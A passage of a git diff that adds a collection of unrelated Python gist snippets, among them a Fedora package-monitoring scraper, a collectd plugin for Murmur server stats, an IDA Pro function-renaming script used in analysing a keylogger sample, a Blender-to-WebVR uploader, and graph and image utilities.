+                self.matrix[i] = self.data.returns.values[i: i - lags]
+
+    def predict_returns(self, lags):
+        self.lags = lags
+        self.generate_matrix(lags)
+        reg = np.linalg.lstsq(
+            self.matrix[:lags].T, np.sign(self.matrix[lags]))[0]
+        self.pred = np.dot(self.matrix[:lags].T, reg)
+
+    def get_performance(self):
+        self.perf = self.data.ix[self.lags:].copy()
+        self.perf['positions'] = np.sign(self.pred)
+        self.perf['strategy'] = self.perf.positions * self.perf.returns
+        self.perf[['returns', 'strategy']].cumsum().apply(np.exp).plot()
\ No newline at end of file
diff --git a/hard-gists/a0d42148fa11cbdaa00168e321f598f5/._snippet.py b/hard-gists/a0d42148fa11cbdaa00168e321f598f5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a0d42148fa11cbdaa00168e321f598f5/._snippet.py differ
diff --git a/hard-gists/a0d42148fa11cbdaa00168e321f598f5/snippet.py b/hard-gists/a0d42148fa11cbdaa00168e321f598f5/snippet.py
new file mode 100644
index 00000000..6c293b0d
--- /dev/null
+++ b/hard-gists/a0d42148fa11cbdaa00168e321f598f5/snippet.py
@@ -0,0 +1,60 @@
+import argparse
+import requests
+import yaml
+import os
+
+def write_yaml_default_assignees(destination_dir, namespace, name, value):
+    yaml_namespace_dir = os.path.join(destination_dir, namespace)
+    yaml_file_path = os.path.join(yaml_namespace_dir, name)
+    print('Writing {0}'.format(yaml_file_path))
+    if not os.path.isdir(yaml_namespace_dir):
+        os.mkdir(yaml_namespace_dir)
+    with open(yaml_file_path, 'w') as yaml_file_stream:
+        value = dict(monitoring=value)
+        yaml.dump(value, yaml_file_stream, default_flow_style=False)
+
+
+parser = argparse.ArgumentParser()
+parser.add_argument('--pkgdburl', help='Base URL to PkgDB',
+                    default='https://admin.fedoraproject.org/pkgdb/')
+parser.add_argument('--pagureurl', help='Base URL to Pagure over dist-git',
+                    default='https://src.fedoraproject.org/')
+parser.add_argument('destinationdir',
+                    help='Directory for the repository structure')
+args = parser.parse_args()
+
+namespace_to_mf_keys = {
+    'rpms': ['Fedora', 'Fedora EPEL'],
+    'container': ['Fedora Container'],
+    'modules': ['Fedora Modules']
+}
+pkgdb_mf_url = '{0}/api/package/'.format(
+    args.pkgdburl.rstrip('/'))
+
+pagure_projects_url = '{0}/api/0/projects?page=1&per_page=100'.format(
+    args.pagureurl.rstrip('/'))
+while True:
+    pagure_projects_rv = requests.get(pagure_projects_url, timeout=60).json()
+    for project in pagure_projects_rv['projects']:
+        print('Looking at {0}'.format(project['fullname']))
+        # If it's not a namespace we know about, skip it
+        if project['namespace'] not in namespace_to_mf_keys:
+            continue
+
+        pkgdb_mf_info = requests.get(pkgdb_mf_url+project['name'], timeout=600).json()
+        for mf_key in namespace_to_mf_keys[project['namespace']]: 
+            pkgdb_mf_status = next(pkg['package']['monitor'] for pkg in pkgdb_mf_info['packages'])
+            if not pkgdb_mf_status:
+                continue
+
+            yaml_mf = str(pkgdb_mf_status)
+            write_yaml_default_assignees(args.destinationdir,
+            project['namespace'], project['name'],
+            yaml_mf)
+
+    if pagure_projects_rv['pagination']['next']:
+        pagure_projects_url = pagure_projects_rv['pagination']['next']
+    else:
+        break
+
+print('All done!')
\ No newline at end of file
diff --git a/hard-gists/a1178bf10729a27184b1/._snippet.py b/hard-gists/a1178bf10729a27184b1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a1178bf10729a27184b1/._snippet.py differ
diff --git a/hard-gists/a1178bf10729a27184b1/snippet.py b/hard-gists/a1178bf10729a27184b1/snippet.py
new file mode 100644
index 00000000..f15fbe11
--- /dev/null
+++ b/hard-gists/a1178bf10729a27184b1/snippet.py
@@ -0,0 +1,126 @@
+#!/usr/bin/env python
+# -*- coding: utf-8
+#
+# murmurCollectd.py - "murmur stats (User/Bans/Uptime/Channels)" script for collectd
+# Copyright (c) 2015, Nils / 0rokita@informatik.uni-hamburg.de
+#
+# munin-murmur.py - "murmur stats (User/Bans/Uptime/Channels)" script for munin.
+# Copyright (c) 2014, Natenom / natenom@natenom.name
+#
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+# * Redistributions of source code must retain the above copyright
+# notice, this list of conditions and the following disclaimer.
+# * Redistributions in binary form must reproduce the above
+# copyright notice, this list of conditions and the following
+# disclaimer in the documentation and/or other materials provided
+# with the distribution.
+# * Neither the name of the developer nor the names of its
+# contributors may be used to endorse or promote products derived
+# from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+# POSSIBILITY OF SUCH DAMAGE.
+
+import collectd
+import Ice, sys
+import Murmur
+
+#Path to Murmur.ice, this is default for Debian
+iceslice='/usr/share/slice/Murmur.ice'
+
+#Includepath for Ice, this is default for Debian
+iceincludepath="/usr/share/Ice/slice"
+
+#Murmur-Port (not needed to work, only for display purposes)
+serverport=64738
+
+#Port where ice listen
+iceport=6502
+
+#Ice Password to get read access.
+#If there is no such var in your murmur.ini, this can have any value.
+#You can use the values of icesecret, icesecretread or icesecretwrite in your murmur.ini
+icesecret="secureme"
+
+#MessageSizeMax; increase this value, if you get a MemoryLimitException.
+# Also check this value in murmur.ini of your Mumble-Server.
+# This value is being interpreted in kibiBytes.
+messagesizemax="65535"
+
+Ice.loadSlice("--all -I%s %s" % (iceincludepath, iceslice))
+
+props = Ice.createProperties([])
+props.setProperty("Ice.MessageSizeMax", str(messagesizemax))
+props.setProperty("Ice.ImplicitContext", "Shared")
+id = Ice.InitializationData()
+id.properties = props
+
+ice = Ice.initialize(id)
+ice.getImplicitContext().put("secret", icesecret)
+
+meta = Murmur.MetaPrx.checkedCast(ice.stringToProxy("Meta:tcp -h 127.0.0.1 -p %s" % (iceport)))
+try:
+    server=meta.getServer(1)
+except Murmur.InvalidSecretException:
+    print 'Given icesecreatread password is wrong.'
+    ice.shutdown()
+    sys.exit(1)
+import time
+
+def dispatch(type_instance, value):
+    """
+    This function dispatces the value to collectd. The used Name is given
+    by type_instance
+    :param type_instance: The name of the value for Collectd
+    :type type_instance: str
+    :param value: The Value to log
+    :type value: int
+    """
+    val = collectd.Values(plugin='murmur')
+    val.type = 'gauge'
+    val.type_instance = type_instance
+    val.values = [value]
+    val.dispatch()
+
+def read_callback(data=None):
+    """
+    The read callback for Collectd. This function gets called on a read from
+    collectd.
+    """
+    #count users
+    usersnotauth=0
+    users=server.getUsers()
+    for key in users.keys():
+        if (users[key].userid == -1):
+            usersnotauth+=1
+
+    dispatch("users", len(users))
+    #dispatch("uptime" float(meta.getUptime())/60/60/24)
+    dispatch("chancount",len(server.getChannels()))
+    dispatch("bancount", len(server.getBans()))
+    dispatch("usersnotauth", usersnotauth)
+
+def shutdown():
+    """
+    This Function is called on Shutdown by collectd
+    """
+    ice.shutdown()
+
+# Register the callbacks with collecd
+collectd.register_read(read_callback)
+collectd.register_shutdown(shutdown)
diff --git a/hard-gists/a14e56ab945cd7e64c3b/._snippet.py b/hard-gists/a14e56ab945cd7e64c3b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a14e56ab945cd7e64c3b/._snippet.py differ
diff --git a/hard-gists/a14e56ab945cd7e64c3b/snippet.py b/hard-gists/a14e56ab945cd7e64c3b/snippet.py
new file mode 100644
index 00000000..df66894a
--- /dev/null
+++ b/hard-gists/a14e56ab945cd7e64c3b/snippet.py
@@ -0,0 +1,43 @@
+
+#!/usr/bin/env python
+
+import PIL 
+import unicornhat as unicorn
+
+from PIL import Image, ImageFont, ImageDraw
+import time
+import sys
+
+unicorn.brightness(.6)
+
+def marquee_text(text, bg_color="black", text_color="white", fontfile=r"PetMe128.ttf"):
+    """
+    Show marquee (scrolling text) on the Unicorn HAT.
+    Select text, text-color, background color and the font used. 
+    PetMe128.ttf is found here: http://www.kreativekorp.com/software/fonts/c64.shtml
+    """
+    img = Image.new("RGB", ((len(text)+1)*8+6,8), bg_color) #draw image and approximate the needed width
+    draw = ImageDraw.Draw(img)
+    
+    font = ImageFont.truetype(fontfile, 8) #adapt font size here
+
+    draw.text((6, 0), text, font=font, fill=text_color) #start text with a slight offset
+    
+    for o_x in range(img.size[0]-8):
+        for o_y in range(img.size[1]/8):
+            for x in range(8):
+                for y in range(8):
+                    pixel = img.getpixel(((o_x)+7-x,(o_y*8)+7-y))
+                    r, g, b = int(pixel[0]),int(pixel[1]),int(pixel[2])
+                    try:
+                        unicorn.set_pixel(x, y, r, g, b)
+                    except IndexError:
+                        print x, y
+            unicorn.show()
+            time.sleep(.04)
+
+if __name__ == "__main__":
+   
+    while 1:
+        marquee_text("Congratulations, your marquee is working!", "black", "white")
+        
diff --git a/hard-gists/a16749ee76941e8d86c8/._snippet.py b/hard-gists/a16749ee76941e8d86c8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a16749ee76941e8d86c8/._snippet.py differ
diff --git a/hard-gists/a16749ee76941e8d86c8/snippet.py b/hard-gists/a16749ee76941e8d86c8/snippet.py
new file mode 100644
index 00000000..db7559ea
--- /dev/null
+++ b/hard-gists/a16749ee76941e8d86c8/snippet.py
@@ -0,0 +1,29 @@
+import idaapi
+import idautils
+import sys
+import itertools
+
+def rename_functions_ida():
+  #Get number of segments
+  seg=idaapi.getnseg(0)
+  if seg:
+  #Get list of functions in that segment
+    funcs=idautils.Functions(seg.startEA, seg.endEA)
+    for funcaddress in funcs:
+      f_name= GetFunctionName(funcaddress)
+      if f_name == 'giant_keyloggercase_structure':
+        for address in Heads(funcaddress, FindFuncEnd(funcaddress)):
+          if GetMnem(address) == 'call':
+            t1= GetOpnd(address, 0)
+            if t1.startswith('sub_'):
+              t2= t1.split('_')
+              MakeNameEx(int(t2[1], 16),"keylog_charbychar_"+t2[1],SN_NOWARN)
+ 
+#Wait for analysis to complete
+idaapi.autoWait()
+
+#Get existing functions from IDA
+rename_functions_ida()
+
+#Exit IDA
+idc.Exit(0)
\ No newline at end of file
diff --git a/hard-gists/a2b9c6ecdb24ca8fd6f4f41a9c0eb32e/._snippet.py b/hard-gists/a2b9c6ecdb24ca8fd6f4f41a9c0eb32e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a2b9c6ecdb24ca8fd6f4f41a9c0eb32e/._snippet.py differ
diff --git a/hard-gists/a2b9c6ecdb24ca8fd6f4f41a9c0eb32e/snippet.py b/hard-gists/a2b9c6ecdb24ca8fd6f4f41a9c0eb32e/snippet.py
new file mode 100644
index 00000000..a67811d9
--- /dev/null
+++ b/hard-gists/a2b9c6ecdb24ca8fd6f4f41a9c0eb32e/snippet.py
@@ -0,0 +1,100 @@
+'''
+from Blender to WebVR in 1 click (warning: you need your own backend but a 1 php file is enough)
+
+demo https://www.youtube.com/watch?v=PD1qTKp5DZ4
+
+improvments
+    JS traverser to start/stop animations and change morph target values
+    render as 360 rather than mesh, either as an option and/or beyond a threshold
+    for addon proper https://docs.blender.org/manual/en/dev/advanced/scripting/addon_tutorial.html
+
+'''
+url = 'http://yourserver.xyz/backend/'
+
+import bpy
+# should test and give an error message explaining it must be run within Blender
+class UIPanel(bpy.types.Panel):
+    bl_label = "Export to web"
+    bl_space_type = "VIEW_3D"
+    bl_region_type = "UI"
+ 
+    def draw(self, context):
+        self.layout.operator("hello.hello", text='Publish')
+
+class OBJECT_OT_PublishButton(bpy.types.Operator):
+    bl_idname = "hello.hello"
+    bl_label = "Say Hello"
+ 
+    def execute(self, context):
+        blenderToAframe()
+        return{'FINISHED'}   
+
+bpy.utils.register_module(__name__)
+
+def blenderToAframe():
+    import bpy
+    if "gltf" not in dir(bpy.ops.export_scene):
+        print("Make sure to have glTF exporter installed first")
+        print("https://github.com/KhronosGroup/glTF-Blender-Exporter")
+        quit()
+
+    import tempfile
+    import os
+    path = tempfile.gettempdir()
+    import time
+    t = str(time.gmtime())
+    gltf = t+'model.gltf'
+    bin = t+'model.bin'
+
+    filepath = os.path.join(path, gltf)
+
+    bpy.ops.object.select_all(action='SELECT')
+    bpy.ops.export_scene.gltf(filepath=filepath)
+     
+    AFrameContentTemplate = '''<html>
+      <head>
+        <script src="https://aframe.io/releases/0.6.1/aframe.min.js"></script>
+        <script src="//cdn.rawgit.com/donmccurdy/aframe-extras/v3.10.0/dist/aframe-extras.min.js"></script>
+      </head>
+      <body>
+        <a-scene>
+          <a-sky color="lightblue"></a-sky>
+          <a-entity gltf-model-next="GLTF" animation-mixer position="0 1 -2"></a-entity>
+        </a-scene>
+      </body>
+    </html>
+    '''
+
+    if not len(bpy.data.actions):
+        AFrameContentTemplate.replace("animation-mixer", "")
+
+    import requests
+
+    with open(filepath, 'rb') as f:
+        r = requests.post(url, files={'userfile': f})
+        
+    filepath = os.path.join(path, bin)
+    with open(filepath, 'rb') as f:
+        r = requests.post(url, files={'userfile': f})
+        
+    print('done')
+
+
+    AFrameContent = AFrameContentTemplate.replace("GLTF", gltf)
+    aframe = tempfile.NamedTemporaryFile(delete=False)
+    with open(aframe.name, 'w') as f:
+        f.write(AFrameContent)
+        # file is not immediately deleted, cf delete=False
+        
+    import json
+    with open(aframe.name, 'rb') as f:
+        r = requests.post(url, files={'userfile': f})
+        res = json.loads(str(r.text))
+        
+    #os.unlink(aframe.name)
+    if (res["result"]):
+        aframeExperienceUrl = url+"uploads/"+res["result"]
+        print("visit "+aframeExperienceUrl)
+        
+        import webbrowser
+        webbrowser.open(aframeExperienceUrl)
diff --git a/hard-gists/a303721443f5eb46035e/._snippet.py b/hard-gists/a303721443f5eb46035e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a303721443f5eb46035e/._snippet.py differ
diff --git a/hard-gists/a303721443f5eb46035e/snippet.py b/hard-gists/a303721443f5eb46035e/snippet.py
new file mode 100644
index 00000000..096774f0
--- /dev/null
+++ b/hard-gists/a303721443f5eb46035e/snippet.py
@@ -0,0 +1,11 @@
+import Skype4Py 
+
+def Commands(message, status):
+    if status == 'SENT' or (status == 'RECEIVED'):
+    	print message.Body
+
+skype = Skype4Py.Skype()
+skype.OnMessageStatus = Commands
+skype.Attach()
+while True:
+    pass
\ No newline at end of file
diff --git a/hard-gists/a3dd4a35ecd94660411112999923d561/._snippet.py b/hard-gists/a3dd4a35ecd94660411112999923d561/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a3dd4a35ecd94660411112999923d561/._snippet.py differ
diff --git a/hard-gists/a3dd4a35ecd94660411112999923d561/snippet.py b/hard-gists/a3dd4a35ecd94660411112999923d561/snippet.py
new file mode 100644
index 00000000..343174ec
--- /dev/null
+++ b/hard-gists/a3dd4a35ecd94660411112999923d561/snippet.py
@@ -0,0 +1,54 @@
+from functools import partial
+import numpy as np
+from scipy.spatial import cKDTree
+from dask.delayed import delayed
+import dask.bag as db
+
+class DaskKDTree(object):
+    """
+    
+    Usage Example:
+    --------------
+    
+    from dask.distributed import Client
+    client = Client('52.91.203.58:8786')
+    tree = DaskKDTree(client, leafsize=1000)
+    tree.load_random(num_points=int(1e8), chunk_size=int(1e6))
+    
+    # find all points within 10km of Bourbon Street
+    bourbon_street = (-10026195.958134, 3498018.476606)
+    radius = 10000 # meters
+    result = tree.query_ball_point(x=bourbon_street, r=radius)
+    """
+    
+    
+    def __init__(self, client, leafsize):
+        self.client = client
+        self.leafsize = leafsize
+        self.trees = []
+    
+    
+    def load_random(self, num_points=int(1e6), chunk_size=300):
+        parts = int(num_points / chunk_size)
+        self.trees = [delayed(DaskKDTree._run_load_random)(int(chunk_size), leafsize=self.leafsize) for f in range(parts)]
+        self.trees = self.client.persist(self.trees)
+        
+        
+    @staticmethod
+    def _run_load_random(count, leafsize):
+        xs = np.random.uniform(int(-20e6), int(20e6), count)
+        ys = np.random.uniform(int(-20e6), int(20e6), count)
+        points = np.dstack((xs, ys))[0, :]
+        return cKDTree(points, leafsize=leafsize)    
+    
+    
+    def query_ball_point(self, **kwargs):
+        nearest = [delayed(DaskKDTree._run_query_ball_point)(d, kwargs) for d in self.trees]
+        b = db.from_delayed(nearest)
+        return b.compute()
+    
+    
+    @staticmethod
+    def _run_query_ball_point(tree, query_info):
+        indices = tree.query_ball_point(**query_info)
+        return tree.data[indices]    
\ No newline at end of file
diff --git a/hard-gists/a400d6c20a52f0b3cd5415e833263b1f/._snippet.py b/hard-gists/a400d6c20a52f0b3cd5415e833263b1f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a400d6c20a52f0b3cd5415e833263b1f/._snippet.py differ
diff --git a/hard-gists/a400d6c20a52f0b3cd5415e833263b1f/snippet.py b/hard-gists/a400d6c20a52f0b3cd5415e833263b1f/snippet.py
new file mode 100644
index 00000000..5b1c02e0
--- /dev/null
+++ b/hard-gists/a400d6c20a52f0b3cd5415e833263b1f/snippet.py
@@ -0,0 +1,36 @@
+#!/usr/bin/env python
+
+# Now you'll be able to read those encoded/compressed 
+# responses in your vcrpy test artifacts!
+# References:
+# https://github.com/kevin1024/vcrpy/issues/249
+# http://stackoverflow.com/questions/36366234
+# Thanks to Reti43 on StackOverflow
+
+import sys
+import yaml
+
+# decode_response doesn't exist in vcrpy 1.7.4 from pypi!
+# pip install from source instead
+from vcr.filters import decode_response
+
+if len(sys.argv) not in [2, 3]:
+    print "Usage: decode_vcrpy.py path/to/fixture.yaml [response number, ex '0']"
+    sys.exit(1)
+
+with open(sys.argv[1], 'r') as f:
+    doc = yaml.load(f)
+
+if len(sys.argv) == 3:
+    response = doc['interactions'][int(sys.argv[2])]['response']
+    print(decode_response(response)['body']['string'])
+    sys.exit(0)
+
+for index, interaction in enumerate(doc['interactions']):
+    print('################')
+    print('response %d'%index)
+    print('uri: %s'%interaction['request']['uri'])
+    print('response:')
+
+    decoded = decode_response(interaction['response'])
+    print(decoded['body']['string'])
\ No newline at end of file
diff --git a/hard-gists/a428ef783211b0ffdee1/._snippet.py b/hard-gists/a428ef783211b0ffdee1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a428ef783211b0ffdee1/._snippet.py differ
diff --git a/hard-gists/a428ef783211b0ffdee1/snippet.py b/hard-gists/a428ef783211b0ffdee1/snippet.py
new file mode 100644
index 00000000..2d880732
--- /dev/null
+++ b/hard-gists/a428ef783211b0ffdee1/snippet.py
@@ -0,0 +1,16 @@
+import urllib.request
+url = 'http://www.portaltransparencia.gov.br/copa2014/api/rest/empreendimento'
+resp = urllib.request.urlopen(url).read().decode('utf-8')
+total = 0
+j = 0
+while True:
+  abre = '<valorTotalPrevisto>'
+  fecha = '</valorTotalPrevisto>'
+  j = resp.find(abre, j)
+  if j == -1:
+    break
+  k = resp.find(fecha, j)
+  print (resp[j+len(abre):k])
+  total = total + float (resp[j+len(abre):k])
+  j = k + len(fecha)
+print ('R$ %.2f' %total)
\ No newline at end of file
diff --git a/hard-gists/a42aecb379742d3cd150/._snippet.py b/hard-gists/a42aecb379742d3cd150/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a42aecb379742d3cd150/._snippet.py differ
diff --git a/hard-gists/a42aecb379742d3cd150/snippet.py b/hard-gists/a42aecb379742d3cd150/snippet.py
new file mode 100644
index 00000000..cc9d60a8
--- /dev/null
+++ b/hard-gists/a42aecb379742d3cd150/snippet.py
@@ -0,0 +1,51 @@
+import wx
+import wx.lib.scrolledpanel as scrolled
+
+########################################################################
+class MyForm(wx.Frame):
+ 
+    #----------------------------------------------------------------------
+    def __init__(self):
+        wx.Frame.__init__(self, None, wx.ID_ANY, "Tutorial", size=(200,500))
+ 
+        # Add a panel so it looks the correct on all platforms
+        self.panel = wx.Panel(self, wx.ID_ANY)
+        
+        # --------------------
+        # Scrolled panel stuff
+        self.scrolled_panel = scrolled.ScrolledPanel(self.panel, -1, 
+                                 style = wx.TAB_TRAVERSAL|wx.SUNKEN_BORDER, name="panel1")
+        self.scrolled_panel.SetAutoLayout(1)
+        self.scrolled_panel.SetupScrolling()
+        
+        words = "A Quick Brown Insane Fox Jumped Over the Fence and Ziplined to Cover".split()
+        self.spSizer = wx.BoxSizer(wx.VERTICAL)
+        for word in words:
+            text = wx.TextCtrl(self.scrolled_panel, value=word)
+            self.spSizer.Add(text)
+        self.scrolled_panel.SetSizer(self.spSizer)
+        # --------------------
+        
+        btn = wx.Button(self.panel, label="Add Widget")
+        btn.Bind(wx.EVT_BUTTON, self.onAdd)
+        
+        panelSizer = wx.BoxSizer(wx.VERTICAL)
+        panelSizer.AddSpacer(50)
+        panelSizer.Add(self.scrolled_panel, 1, wx.EXPAND)
+        panelSizer.Add(btn)
+        self.panel.SetSizer(panelSizer)
+        
+    #----------------------------------------------------------------------
+    def onAdd(self, event):
+        """"""
+        print "in onAdd"
+        new_text = wx.TextCtrl(self.scrolled_panel, value="New Text")
+        self.spSizer.Add(new_text)
+        self.scrolled_panel.Layout()
+        self.scrolled_panel.SetupScrolling()
+         
+# Run the program
+if __name__ == "__main__":
+    app = wx.App(False)
+    frame = MyForm().Show()
+    app.MainLoop()
\ No newline at end of file
diff --git a/hard-gists/a430d460966d64edc6cad71c502d7005/._snippet.py b/hard-gists/a430d460966d64edc6cad71c502d7005/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a430d460966d64edc6cad71c502d7005/._snippet.py differ
diff --git a/hard-gists/a430d460966d64edc6cad71c502d7005/snippet.py b/hard-gists/a430d460966d64edc6cad71c502d7005/snippet.py
new file mode 100644
index 00000000..cca7a8e3
--- /dev/null
+++ b/hard-gists/a430d460966d64edc6cad71c502d7005/snippet.py
@@ -0,0 +1,151 @@
+
+import networkx as nx
+import graph_tool as gt
+
+
+
+def get_prop_type(value, key=None):
+    """
+    Performs typing and value conversion for the graph_tool PropertyMap class.
+    If a key is provided, it also ensures the key is in a format that can be
+    used with the PropertyMap. Returns a tuple, (type name, value, key)
+    """
+    if isinstance(key, unicode):
+        # Encode the key as ASCII
+        key = key.encode('ascii', errors='replace')
+
+    # Deal with the value
+    if isinstance(value, bool):
+        tname = 'bool'
+
+    elif isinstance(value, int):
+        tname = 'float'
+        value = float(value)
+
+    elif isinstance(value, float):
+        tname = 'float'
+
+    elif isinstance(value, unicode):
+        tname = 'string'
+        value = value.encode('ascii', errors='replace')
+
+    elif isinstance(value, dict):
+        tname = 'object'
+
+    else:
+        tname = 'string'
+        value = str(value)
+
+    return tname, value, key
+
+
+def nx2gt(nxG):
+    """
+    Converts a networkx graph to a graph-tool graph.
+    """
+    # Phase 0: Create a directed or undirected graph-tool Graph
+    gtG = gt.Graph(directed=nxG.is_directed())
+
+    # Add the Graph properties as "internal properties"
+    for key, value in nxG.graph.items():
+        # Convert the value and key into a type for graph-tool
+        tname, value, key = get_prop_type(value, key)
+
+        prop = gtG.new_graph_property(tname) # Create the PropertyMap
+        gtG.graph_properties[key] = prop     # Set the PropertyMap
+        gtG.graph_properties[key] = value    # Set the actual value
+
+    # Phase 1: Add the vertex and edge property maps
+    # Go through all nodes and edges and add seen properties
+    # Add the node properties first
+    nprops = set() # cache keys to only add properties once
+    for node, data in nxG.nodes_iter(data=True):
+
+        # Go through all the properties if not seen and add them.
+        for key, val in data.items():
+            if key in nprops: continue # Skip properties already added
+
+            # Convert the value and key into a type for graph-tool
+            tname, _, key  = get_prop_type(val, key)
+
+            prop = gtG.new_vertex_property(tname) # Create the PropertyMap
+            gtG.vertex_properties[key] = prop     # Set the PropertyMap
+
+            # Add the key to the already seen properties
+            nprops.add(key)
+
+    # Also add the node id: in NetworkX a node can be any hashable type, but
+    # in graph-tool node are defined as indices. So we capture any strings
+    # in a special PropertyMap called 'id' -- modify as needed!
+    gtG.vertex_properties['id'] = gtG.new_vertex_property('string')
+
+    # Add the edge properties second
+    eprops = set() # cache keys to only add properties once
+    for src, dst, data in nxG.edges_iter(data=True):
+
+        # Go through all the edge properties if not seen and add them.
+        for key, val in data.items():
+            if key in eprops: continue # Skip properties already added
+
+            # Convert the value and key into a type for graph-tool
+            tname, _, key = get_prop_type(val, key)
+
+            prop = gtG.new_edge_property(tname) # Create the PropertyMap
+            gtG.edge_properties[key] = prop     # Set the PropertyMap
+
+            # Add the key to the already seen properties
+            eprops.add(key)
+
+    # Phase 2: Actually add all the nodes and vertices with their properties
+    # Add the nodes
+    vertices = {} # vertex mapping for tracking edges later
+    for node, data in nxG.nodes_iter(data=True):
+
+        # Create the vertex and annotate for our edges later
+        v = gtG.add_vertex()
+        vertices[node] = v
+
+        # Set the vertex properties, not forgetting the id property
+        data['id'] = str(node)
+        for key, value in data.items():
+            gtG.vp[key][v] = value # vp is short for vertex_properties
+
+    # Add the edges
+    for src, dst, data in nxG.edges_iter(data=True):
+
+        # Look up the vertex structs from our vertices mapping and add edge.
+        e = gtG.add_edge(vertices[src], vertices[dst])
+
+        # Add the edge properties
+        for key, value in data.items():
+            gtG.ep[key][e] = value # ep is short for edge_properties
+
+    # Done, finally!
+    return gtG
+
+
+if __name__ == '__main__':
+
+    # Create the networkx graph
+    nxG = nx.Graph(name="Undirected Graph")
+    nxG.add_node("v1", name="alpha", color="red")
+    nxG.add_node("v2", name="bravo", color="blue")
+    nxG.add_node("v3", name="charlie", color="blue")
+    nxG.add_node("v4", name="hub", color="purple")
+    nxG.add_node("v5", name="delta", color="red")
+    nxG.add_node("v6", name="echo", color="red")
+
+    nxG.add_edge("v1", "v2", weight=0.5, label="follows")
+    nxG.add_edge("v1", "v3", weight=0.25, label="follows")
+    nxG.add_edge("v2", "v4", weight=0.05, label="follows")
+    nxG.add_edge("v3", "v4", weight=0.35, label="follows")
+    nxG.add_edge("v5", "v4", weight=0.65, label="follows")
+    nxG.add_edge("v6", "v4", weight=0.53, label="follows")
+    nxG.add_edge("v5", "v6", weight=0.21, label="follows")
+
+    for item in nxG.edges_iter(data=True):
+        print item
+
+    # Convert to graph-tool graph
+    gtG = nx2gt(nxG)
+    gtG.list_properties()
diff --git a/hard-gists/a4533e0adebe57e3ed06d4b50c8419ae/._snippet.py b/hard-gists/a4533e0adebe57e3ed06d4b50c8419ae/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a4533e0adebe57e3ed06d4b50c8419ae/._snippet.py differ
diff --git a/hard-gists/a4533e0adebe57e3ed06d4b50c8419ae/snippet.py b/hard-gists/a4533e0adebe57e3ed06d4b50c8419ae/snippet.py
new file mode 100644
index 00000000..ec98a65a
--- /dev/null
+++ b/hard-gists/a4533e0adebe57e3ed06d4b50c8419ae/snippet.py
@@ -0,0 +1,45 @@
+""" 
+Python implementation of the color map function for the PASCAL VOC data set. 
+Official Matlab version can be found in the PASCAL VOC devkit 
+http://host.robots.ox.ac.uk/pascal/VOC/voc2012/index.html#devkit
+"""
+import numpy as np
+from skimage.io import imshow
+import matplotlib.pyplot as plt
+
+def color_map(N=256, normalized=False):
+    def bitget(byteval, idx):
+        return ((byteval & (1 << idx)) != 0)
+
+    dtype = 'float32' if normalized else 'uint8'
+    cmap = np.zeros((N, 3), dtype=dtype)
+    for i in range(N):
+        r = g = b = 0
+        c = i
+        for j in range(8):
+            r = r | (bitget(c, 0) << 7-j)
+            g = g | (bitget(c, 1) << 7-j)
+            b = b | (bitget(c, 2) << 7-j)
+            c = c >> 3
+
+        cmap[i] = np.array([r, g, b])
+
+    cmap = cmap/255 if normalized else cmap
+    return cmap
+
+
+def color_map_viz():
+    labels = ['background', 'aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'car', 'cat', 'chair', 'cow', 'diningtable', 'dog', 'horse', 'motorbike', 'person', 'pottedplant', 'sheep', 'sofa', 'train', 'tvmonitor', 'void']
+    nclasses = 21
+    row_size = 50
+    col_size = 500
+    cmap = color_map()
+    array = np.empty((row_size*(nclasses+1), col_size, cmap.shape[1]), dtype=cmap.dtype)
+    for i in range(nclasses):
+        array[i*row_size:i*row_size+row_size, :] = cmap[i]
+    array[nclasses*row_size:nclasses*row_size+row_size, :] = cmap[-1]
+
+    imshow(array)
+    plt.yticks([row_size*i+row_size/2 for i in range(nclasses+1)], labels)
+    plt.xticks([])
+    plt.show()
\ No newline at end of file
diff --git a/hard-gists/a48b50e46f01dc7ac96d/._snippet.py b/hard-gists/a48b50e46f01dc7ac96d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a48b50e46f01dc7ac96d/._snippet.py differ
diff --git a/hard-gists/a48b50e46f01dc7ac96d/snippet.py b/hard-gists/a48b50e46f01dc7ac96d/snippet.py
new file mode 100644
index 00000000..3f6c04eb
--- /dev/null
+++ b/hard-gists/a48b50e46f01dc7ac96d/snippet.py
